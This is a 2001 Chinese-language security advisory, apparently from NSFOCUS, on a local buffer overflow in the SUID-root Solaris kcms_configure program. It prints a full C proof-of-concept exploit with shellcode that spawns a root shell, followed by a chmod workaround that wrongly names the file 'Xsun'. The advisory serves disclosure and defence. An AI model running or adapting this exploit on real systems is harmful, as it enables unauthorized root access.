首页 -> 安全研究

安全研究

安全漏洞
Solaris kcms_configure 本地缓冲区溢出漏洞

发布日期:2001-04-13
更新日期:2001-04-13

受影响系统:

Solaris 7 (x86,sparc)
Solaris 8 (x86,sparc)

描述:

Solaris 所带的kcms_configure程序存在一个本地缓冲区溢出漏洞。
如果攻击者提供一个很长的字符串作为命令行参数,将导致kcms_configure处
理时发生堆栈溢出。

在缺省配置下,kcms_configure被设置了SUID root属性,因此利用这个漏洞攻
击者可以获取root权限。


<*来源:Riley Hassell riley@eeye.com *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Riley Hassell riley@eeye.com提供了下列测试代码:

/*
Command line argument overflow
/usr/openwin/bin/kcms_configure

Proof of Concept Exploitation
Riley Hassell
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN  1100

/* seteuid/exec shellcode  */
char shell[] =
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
"\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
"\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
"\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
"\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
"\x03\x9a\x04\x04\x04\x04\x07\x04";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp() { __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
        int i;
        if (argc > 1)
  offset = strtol(argv[1], NULL, 0);
        else
             offset = -300;
            nop = 600;
        esp = get_esp();
        memset(buf, 0x90, BUFLEN);
        memcpy(buf+600, shell, strlen(shell));
        for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;
         buf[BUFLEN-1] = '\0';
        execl("/usr/openwin/bin/kcms_configure", "eEye","-o","-S","X",buf,NULL);
        return;
}





建议:

临时解决方法:

NSFOCUS建议您暂时去掉Xsun的S属性:
chmod a-s /usr/openwin/bin/kcms_configure

厂商补丁:

暂无







浏览次数:4018
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障